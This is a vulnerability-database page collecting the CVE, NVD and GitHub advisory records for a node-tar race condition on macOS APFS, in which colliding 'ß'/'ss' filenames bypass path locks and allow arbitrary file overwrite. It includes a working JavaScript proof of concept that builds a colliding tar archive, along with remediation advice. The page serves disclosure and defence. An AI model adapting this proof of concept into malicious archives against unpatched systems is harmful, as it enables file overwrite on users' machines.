Vulnerability-Lookup

CVE-2026-23950 (GCVE-0-2026-23950)

Vulnerability from cvelistv5 – Published: 2026-01-20 00:40 – Updated: 2026-01-21 20:15

Title

node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS

Summary

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`. As a workaround, users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

CWE

CWE-176 - Improper Handling of Unicode Encoding
CWE-352 - Cross-Site Request Forgery (CSRF)
CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition

Assigner

GitHub_M

References

URL

Tags

	https://github.com/isaacs/node-tar/security/advis…	x_refsource_CONFIRM
	https://github.com/isaacs/node-tar/commit/3b1abfa…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	isaacs	node-tar	Affected: < 7.5.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-23950",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-21T20:15:29.211170Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-21T20:15:57.278Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "node-tar",
          "vendor": "isaacs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 7.5.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`. As a workaround, users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-176",
              "description": "CWE-176: Improper Handling of Unicode Encoding",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-367",
              "description": "CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-20T00:40:48.510Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
        },
        {
          "name": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
        }
      ],
      "source": {
        "advisory": "GHSA-r6q2-hw4h-h46w",
        "discovery": "UNKNOWN"
      },
      "title": "node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-23950",
    "datePublished": "2026-01-20T00:40:48.510Z",
    "dateReserved": "2026-01-19T14:49:06.312Z",
    "dateUpdated": "2026-01-21T20:15:57.278Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-23950\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-01-20T01:15:57.870\",\"lastModified\":\"2026-01-20T01:15:57.870\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`. As a workaround, users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"LOW\"},\"exploitabilityScore\":2.8,\"impactScore\":5.3}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-176\"},{\"lang\":\"en\",\"value\":\"CWE-352\"},{\"lang\":\"en\",\"value\":\"CWE-367\"}]}],\"references\":[{\"url\":\"https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w\",\"source\":\"security-advisories@github.com\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-23950\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-01-21T20:15:29.211170Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-01-21T20:15:38.325Z\"}}], \"cna\": {\"title\": \"node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS\", \"source\": {\"advisory\": \"GHSA-r6q2-hw4h-h46w\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"LOW\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"isaacs\", \"product\": \"node-tar\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 7.5.4\"}]}], \"references\": [{\"url\": \"https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w\", \"name\": \"https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6\", \"name\": \"https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using `NFD` Unicode normalization (in which `\\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`. As a workaround, users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-176\", \"description\": \"CWE-176: Improper Handling of Unicode Encoding\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-352\", \"description\": \"CWE-352: Cross-Site Request Forgery (CSRF)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-367\", \"description\": \"CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-01-20T00:40:48.510Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-23950\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-01-21T20:15:57.278Z\", \"dateReserved\": \"2026-01-19T14:49:06.312Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-01-20T00:40:48.510Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-23950

Vulnerability from fkie_nvd - Published: 2026-01-20 01:15 - Updated: 2026-01-20 01:15

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
	security-advisories@github.com	https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`. As a workaround, users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue."
    }
  ],
  "id": "CVE-2026-23950",
  "lastModified": "2026-01-20T01:15:57.870",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.3,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-20T01:15:57.870",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-176"
        },
        {
          "lang": "en",
          "value": "CWE-352"
        },
        {
          "lang": "en",
          "value": "CWE-367"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-R6Q2-HW4H-H46W

Vulnerability from github – Published: 2026-01-21 01:05 – Updated: 2026-01-21 01:05

Summary

Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS

Details

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:05:49Z",
    "nvd_published_at": "2026-01-20T01:15:57Z",
    "severity": "HIGH"
  },
  "details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n    paths =\n      isWindows ?\n        [\u0027win32 parallelization disabled\u0027]\n      : paths.map(p =\u003e {\n          return stripTrailingSlashes(\n            join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n          ).toLowerCase()\n        })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..\n-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n    path: \u0027collision_ss\u0027,\n    mode: 0o644,\n    size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n    path: \u0027collision_\u00df\u0027,\n    mode: 0o644,\n    size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n    cwd: exploitDir,\n    // Ensure jobs is high enough to allow parallel processing if locks fail\n    jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n    console.log(\u0027[*] Extraction complete\u0027);\n\n    // Check what exists\n    const files = fs.readdirSync(exploitDir);\n    console.log(\u0027[*] Files in exploit dir:\u0027, files);\n    files.forEach(f =\u003e {\n        const p = path.join(exploitDir, f);\n        const stat = fs.statSync(p);\n        const content = fs.readFileSync(p, \u0027utf8\u0027);\n        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n    });\n\n    if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n        console.log(\u0027\\[*] GOOD\u0027);\n    } else {\n        console.log(\u0027[-] No collision\u0027);\n    }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
  "id": "GHSA-r6q2-hw4h-h46w",
  "modified": "2026-01-21T01:05:49Z",
  "published": "2026-01-21T01:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-23950 (GCVE-0-2026-23950)

FKIE_CVE-2026-23950

GHSA-R6Q2-HW4H-H46W

Details

PoC

Impact

Remediation

Tags

Sightings

Nomenclature